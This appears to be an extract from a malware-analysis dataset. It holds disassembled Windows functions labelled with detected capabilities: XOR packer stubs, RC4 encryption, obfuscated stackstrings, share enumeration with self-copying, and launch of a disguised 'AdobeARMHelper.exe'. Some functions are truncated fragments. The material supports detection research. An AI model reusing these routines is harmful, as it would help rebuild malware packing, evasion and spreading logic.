joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4096c0
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 0x40], eax
xor eax, eax
mov word [ebp - 0x248], ax
push 0x206
push 0
lea ecx, [ebp - 0x246]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
xor edx, edx
mov word [ebp - 0x450], dx
push 0x206
push 0
lea eax, [ebp - 0x44e]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.MSVCR90.dll_wcslen]
add esp, 4
test eax, eax
jbe 0x40974f
mov edx, dword [ebp + 0xc]
push edx
push 0x104
lea eax, [ebp - 0x450]
push eax
call fcn.004062c0
push 0x40b3b4
push 0x104
lea ecx, [ebp - 0x450]
push ecx
call fcn.00406310
jmp 0x40979e
lea edx, [ebp - 0x450]
push edx
push 0
push 0
push 0x2b
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x409780
push 0x40b3b8
push 0x104
lea eax, [ebp - 0x450]
push eax
call fcn.00406310
jmp 0x40979e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x40b3d8
push str.SHGetFolderPath_failed
call fcn.004080a0
add esp, 0xc
jmp 0x409874
lea ecx, [ebp - 0x450]
push ecx
push 0x104
lea edx, [ebp - 0x248]
push edx
call fcn.004062c0
push str.AdobeARMHelper.exe
push 0x104
lea eax, [ebp - 0x248]
push eax
call fcn.00406310
push 0xffffffffffffffff
lea ecx, [ebp - 0x248]
push ecx
call fcn.004095f0
add esp, 8
test eax, eax
jne 0x4097fc
push 0x357
lea edx, [ebp - 0x248]
push edx
push str.Service_workflow_failed__file_not_valid:
call fcn.004080a0
add esp, 0xc
jmp 0x409874
mov dword [ebp - 0x3c], 0
push 0x38
push 0
lea eax, [ebp - 0x38]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x540
mov dword [ebp - 0x20], 5
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x28], ecx
lea edx, [ebp - 0x248]
mov dword [ebp - 0x2c], edx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x40985b
push 0
push 0x40b48c
push str.ShellExecuteEx_succeeded
call fcn.004080a0
add esp, 0xc
jmp 0x409874
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x40b4c4
push str.ShellExecuteEx_failed
call fcn.004080a0
add esp, 0xc
mov ecx, dword [ebp - 0x40]
xor ecx, ebp
call fcn.00407458
mov esp, ebp
pop ebp
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
nop
mov ecx, 0x23d33296
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x13344601
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43106c
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x433000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x4062ee
Capabilities:
Accept command line arguments

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov byte [0x44167c], bl
mov dword [0x441618], ebx
mov dword [0x441608], ebx
mov dword [0x441620], 1
mov dword [0x441624], ebx
mov dword [0x441630], 0x4037f0
mov dword [0x4410a0], 0x441608
call fcn.00406207
mov eax, dword [0x4410a0]
cmp eax, 0x4410a0
je 0x406350
test byte [eax + 0x1c], 0x10
je 0x406350
cmp byte [eax + 0x19], 4
jae 0x41e9c9
push 0x10
push ebx
push dword [ebp + 0x10]
call dword [sym.imp.msvcrt.dll_wcstoul]
add esp, 0xc
mov edi, eax
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_GetHandleInformation]
test eax, eax
je 0x41e9e4
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.api_ms_win_core_heap_l1_2_0.dll_HeapSetInformation]
push ecx
push ecx
call fcn.00406258
push ecx
mov dword [0x441698], edi
call fcn.0040628b
mov esi, eax
test esi, esi
js 0x4063d4
cmp byte [0x4417a8], bl
jne 0x4063e4
call dword [sym.imp.api_ms_win_core_processenvironment_l1_2_0.dll_GetCommandLineW]
push ecx
mov ecx, 0x441640
call fcn.0040643b
mov esi, eax
mov eax, dword [0x4410a0]
cmp eax, 0x4410a0
je 0x4063cf
test byte [eax + 0x1c], 0x10
je 0x4063cf
cmp byte [eax + 0x19], 4
jae 0x41ea22
call fcn.00405f8b
call fcn.00405ba5
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
or esi, 0xffffffff
jmp 0x4063b3
push dword [ebp + 0x10]
mov edx, 0x403b58
push dword [eax + 0x14]
push dword [eax + 0x10]
push 0x25
pop ecx
call fcn.004280a0
jmp 0x406350
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_1.dll_GetLastError]
mov esi, eax
mov eax, dword [0x4410a0]
cmp eax, 0x4410a0
je 0x4063d4
test byte [eax + 0x1c], 0x10
je 0x4063d4
cmp byte [eax + 0x19], 4
jb 0x4063d4
push esi
push edi
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.0042811e
jmp 0x4063d4
push esi
push dword [eax + 0x14]
mov edx, 0x403b58
push dword [eax + 0x10]
push 0x27
pop ecx
call fcn.00419c0e
jmp 0x4063cf

Function at 0x407166
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push ebx
push esi
push edi
push eax
mov ebx, ecx
call fcn.00406fc0
mov edi, dword [ebp - 4]
mov esi, eax
test esi, esi
js 0x4071c0
xor eax, eax
push eax
push eax
push ebx
push 0x406cd0
push eax
push eax
call dword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_CreateThread]
mov ecx, eax
mov dword [ebx + 0x18], eax
call fcn.00406c31
test eax, eax
je 0x41ee48
mov eax, dword [ebp + 8]
mov dword [eax], edi
test esi, esi
js 0x4071c0
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
test edi, edi
je 0x4071b5
push edi
call dword [sym.imp.api_ms_win_core_com_l1_1_1.dll_CoTaskMemFree]
jmp 0x4071b5
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_1.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4071b3
movzx esi, si
or esi, 0x80070000
jmp 0x4071b1
Function at 0x41b6d9
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0xc], 0
jmp 0x41b70d
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 0x10]
jae 0x41b7bf
mov edx, dword [ebp - 8]
add edx, 1
and edx, 0x800000ff
jns 0x41b72f
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 8]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x10]
and ecx, 0x800000ff
jns 0x41b74e
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 8]
mov al, byte [edx]
mov byte [ebp - 1], al
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x10]
mov al, byte [edx]
mov byte [ecx], al
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x10]
mov dl, byte [ebp - 1]
mov byte [ecx], dl
mov eax, dword [ebp + 8]
add eax, dword [ebp - 8]
movzx ecx, byte [eax]
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x10]
movzx eax, byte [edx]
add ecx, eax
and ecx, 0x800000ff
jns 0x41b79b
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x14]
movzx edx, byte [ecx]
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
xor ecx, edx
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0xc]
mov byte [edx], cl
jmp 0x41b704
mov esp, ebp
pop ebp
ret

Function at 0x41b8e9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov byte [ebp - 0x14], 0x59
mov byte [ebp - 0x13], 0x68
mov byte [ebp - 0x12], 0x2d
mov byte [ebp - 0x11], 0x69
mov byte [ebp - 0x10], 0x6f
mov byte [ebp - 0xf], 0x6b
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x64
mov byte [ebp - 0xb], 0x66
mov byte [ebp - 0xa], 0x2d
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x61
mov byte [ebp - 7], 0x6e
mov byte [ebp - 6], 0
lea eax, [ebp - 0x14]
push eax
push 0
push 0
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x1cc]
call edx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x41b966
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x78]
call ecx
cmp eax, 0xb7
jne 0x41b961
xor eax, eax
jmp 0x41b966
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x41c419
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]

Function at 0x41c426
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
Function at 0x4057be
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
push edi
push 2
push 0x410b93
call fcn.0040347e
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
pop ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
test ebp, ebp
mov edi, 0x410c93
je 0x405823
push 1
push edi
call fcn.0040347e
pop ecx
pop ecx
push eax
push ebp
call esi
push 4
push edi
mov dword [0x493908], eax
call fcn.0040347e
pop ecx
pop ecx
push eax
push ebp
call esi
push 5
push edi
mov dword [0x493904], eax
call fcn.0040347e
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x49390c], eax
push 3
push 0x410b93
call fcn.0040347e
pop ecx
pop ecx
push eax
call ebx
mov ebp, eax
test ebp, ebp
je 0x40584d
push 3
push edi
call fcn.0040347e
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x493910], eax
mov edi, str._G_Gk_FoOO
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x40586e
push 1
push edi
call fcn.0040347e
pop ecx
pop ecx
push eax
push ebx
call esi
mov dword [0x493914], eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x406a36
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x560
mov ax, word [0x4128f4]
push esi
push edi
push 7
mov word [ebp - 0x60], ax
pop ecx
xor eax, eax
lea edi, [ebp - 0x5e]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [0x4128f0]
lea edi, [ebp - 0x18]
mov dword [ebp - 0x1c], eax
xor eax, eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor edi, edi
mov dword [ebp - 0x20], 0x20
cmp dword [0x4938f0], edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
jne 0x406c61
cmp dword [0x493908], edi
je 0x406c61
mov esi, dword [ebp + 8]
cmp esi, edi
je 0x406aba
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x80]
push eax
lea eax, [esi + 2]
push eax
call fcn.0040c920
pop ecx
test eax, eax
pop ecx
je 0x406c61
lea eax, [ebp - 0xa8]
or dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x150]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x150]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x80]
push ebx
push eax
lea eax, [ebp - 0x60]
mov dword [ebp - 0x3c], edi
push eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x34], 0x7f
call fcn.00407760
pop ecx
lea eax, [ebp - 0xe8]
pop ecx
push 0x22
push eax
push 0xffffffffffffffff
push esi
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 1
push edi
call esi
mov dword [ebp - 4], 2
mov ebx, 0x40f044
mov al, byte [ebp - 4]
push 0x14
add al, 0x41
mov byte [ebp - 0x1c], al
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x1c]
push 0xffffffffffffffff
push eax
push 1
push edi
call esi
mov al, byte [ebp - 0x1c]
push 0x34
mov byte [ebp - 0x60], al
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x60]
push 0xffffffffffffffff
push eax
push 1
push edi
call esi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0xe8]
push 2
push eax
call dword [0x493908]
cmp dword [ebp + 0xc], edi
mov dword [ebp - 0x10], eax
je 0x406c53
cmp eax, edi
jne 0x406bd9
cmp dword [ebp - 8], edi
jne 0x406bd9
push 1
push 0x4101dc
push edi
call fcn.004047b6
pop ecx
and eax, 1
push eax
lea eax, [ebp - 0x45c]
push eax
call fcn.00404261
lea eax, [ebp - 0x358]
push ebx
push eax
call fcn.00407750
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x358]
push eax
call fcn.00407760
push 1
lea eax, [ebp - 0x45c]
push edi
push eax
lea eax, [ebp - 0x358]
push edi
push eax
push dword [ebp + 8]
call fcn.0040284d
add esp, 0x38
mov dword [ebp - 8], eax
cmp dword [ebp - 0x10], edi
jne 0x406c53
push 1
push str.F77
lea eax, [ebp - 0x560]
push edi
push eax
call fcn.00404261
push dword [ebp + 8]
lea eax, [ebp - 0x254]
push eax
call fcn.00407750
lea eax, [ebp - 0x254]
push ebx
push eax
call fcn.00407760
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x254]
push eax
call fcn.00407760
lea eax, [ebp - 0x254]
push ebx
push eax
call fcn.00407760
lea eax, [ebp - 0x560]
push eax
lea eax, [ebp - 0x254]
push eax
call fcn.00407760
push 1
push 0xffffffffffffffff
lea eax, [ebp - 0x254]
push 0xffffffffffffffff
push eax
call fcn.0040704c
add esp, 0x48
inc dword [ebp - 4]
cmp dword [ebp - 4], 5
jl 0x406b1c
pop ebx
pop edi
pop esi
leave
ret
Function at 0x406c65
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x439c
call fcn.00407f60
lea eax, [ebp + 0xc]
push edi
push eax
or dword [ebp - 4], 0xffffffff
push dword [ebp + 8]
mov dword [ebp - 8], 0x3e80
push 3
push 1
pop edi
push edi
push dword [ebp + 0xc]
call sub.MPR.dll_WNetOpenEnumA
test eax, eax
jne 0x406ddb
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x439c]
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
call sub.MPR.dll_WNetEnumResourceA
xor ebx, ebx
cmp dword [ebp - 4], ebx
mov dword [ebp + 8], ebx
jbe 0x406dd2
push esi
lea esi, [ebp - 0x4388]
test byte [esi - 8], 2
lea eax, [esi - 0x14]
je 0x406ce4
push dword [ebp + 0x10]
push 2
push eax
call fcn.00406c65
add esp, 0xc
jmp 0x406dbf
lea eax, [ebp - 0x314]
push eax
lea eax, [ebp - 0x210]
push eax
push dword [esi]
call fcn.00404bd2
add esp, 0xc
test eax, eax
jne 0x406dbf
push dword [ebp + 0x10]
lea eax, [ebp - 0x210]
push eax
call fcn.00406a36
pop ecx
pop ecx
push edi
push 0x4101dc
push ebx
call fcn.004047b6
pop ecx
and eax, edi
push eax
lea eax, [ebp - 0x51c]
push eax
call fcn.00404261
add esp, 0x10
cmp dword [ebp + 0x10], ebx
je 0x406dbf
push edi
lea eax, [ebp - 0x51c]
push ebx
push eax
lea eax, [ebp - 0x314]
push ebx
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.0040284d
add esp, 0x18
push edi
push str.F77
push ebx
call fcn.004047b6
pop ecx
and eax, edi
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00404261
push dword [esi]
lea eax, [ebp - 0x10c]
push eax
call fcn.00407750
lea eax, [ebp - 0x10c]
push 0x40f044
push eax
call fcn.00407760
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.00407760
push edi
push 0xffffffffffffffff
lea eax, [ebp - 0x10c]
push 0xffffffffffffffff
push eax
call fcn.0040704c
add esp, 0x38
inc dword [ebp + 8]
add esi, 0x20
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 4]
jb 0x406cc8
pop esi
push dword [ebp + 0xc]
call sub.MPR.dll_WNetCloseEnum
pop ebx
pop edi
leave
ret
Function at 0x40704c
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2590
call fcn.00407f60
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push edi
cmp dword [ebp + 0x14], ebx
mov dword [ebp - 4], esi
mov dword [ebp - 8], eax
jne 0x407080
push dword [ebp + 8]
call fcn.00404825
test eax, eax
pop ecx
jne 0x4071be
mov edi, str.3k__
push ebx
push edi
call fcn.004034ae
pop ecx
cmp esi, ebx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x4070a4
push ebx
call fcn.004047b6
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov esi, 0x4101dc
push ebx
push esi
call fcn.004034ae
cmp dword [ebp + 0x10], ebx
pop ecx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x4070c9
push ebx
call fcn.004047b6
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 8], edx
lea eax, [ebp - 0x10c]
push eax
call fcn.00403e97
lea eax, [ebp - 0x314]
mov dword [esp], 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push ebx
push eax
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4071be
lea eax, [ebp - 0x10c]
push 0x20
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x227a
lea eax, [ebp - 0x2590]
push 0x40f0c0
push eax
call fcn.00407c00
lea eax, [ebp - 0x2590]
mov byte [ebp - 0x157c], bl
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.00405705
push ebx
call fcn.004047b6
xor edx, edx
mov ecx, 0x2800
div ecx
lea eax, [ebp - 0x10c]
add edx, 0x15200
push edx
push eax
call fcn.0040406e
push dword [ebp - 4]
push edi
call fcn.0040347e
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00407750
push dword [ebp - 8]
push esi
call fcn.0040347e
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00407760
add esp, 0x40
lea eax, [ebp - 0x210]
push dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 8]
call fcn.00405226
lea eax, [ebp - 0x10c]
push eax
call fcn.00403f05
add esp, 0x14
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4072f2
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
lea eax, [ebp - 4]
xor edi, edi
push eax
push edi
push edi
push 0x4015ff
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x406608
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x406dde
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x406066
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x4071cd
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x406fd5
push edi
push edi
call esi
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push edi
push ebx
push 0x406f88
push edi
push edi
call esi
inc ebx
cmp ebx, 0x1a
jl 0x40735d
call fcn.004071c3
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405ba4
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00408bcc
test esi, esi
jne 0x405bda
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00408d64
jmp 0x405bf8
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00405ae8
mov edi, eax
test esi, esi
je 0x405bf8
cmp dword [ebx], 0
je 0x405bf8
dec esi
jmp 0x405be1
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x407784
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.00407c44
mov byte [esp], al
cmp byte [esp], 0
jne 0x40790d
test edi, edi
je 0x40790d
mov byte [esp + 1], 0
test ebp, ebp
jle 0x40784d
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 0xc], eax
test ebp, ebp
jle 0x407828
cmp edi, 0xffffffff
je 0x4077e9
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x4077e9
mov byte [esp], 0
jmp 0x40790d
cmp dword [esi], 1
jg 0x407828
cmp dword [esi], 0
jne 0x40781a
xor eax, eax
mov edx, 1
lock cmpxchg dword [esi], edx
test eax, eax
jne 0x40781a
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x40790d
lea eax, [esp + 0xc]
call fcn.00407440
dec ebp
test ebp, ebp
jg 0x4077ce
cmp edi, 0xffffffff
je 0x40784d
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x40784b
mov byte [esp], 0
jmp 0x40790d
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x407792
lea edx, [ebx + 2]
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x40784d
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.00407988
mov edx, eax
mov ebx, dword [0x5a2900]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x4078b1
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x4078af
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x4078b1
xor edi, edi
cmp byte [esp], 0
je 0x4078d7
mov ebx, dword [esi]
test bl, 1
jne 0x4078ed
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x4078b7
mov byte [esp + 1], 1
jmp 0x4078ed
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x4078d7
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x407864
cmp byte [esp], 0
je 0x40790d
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret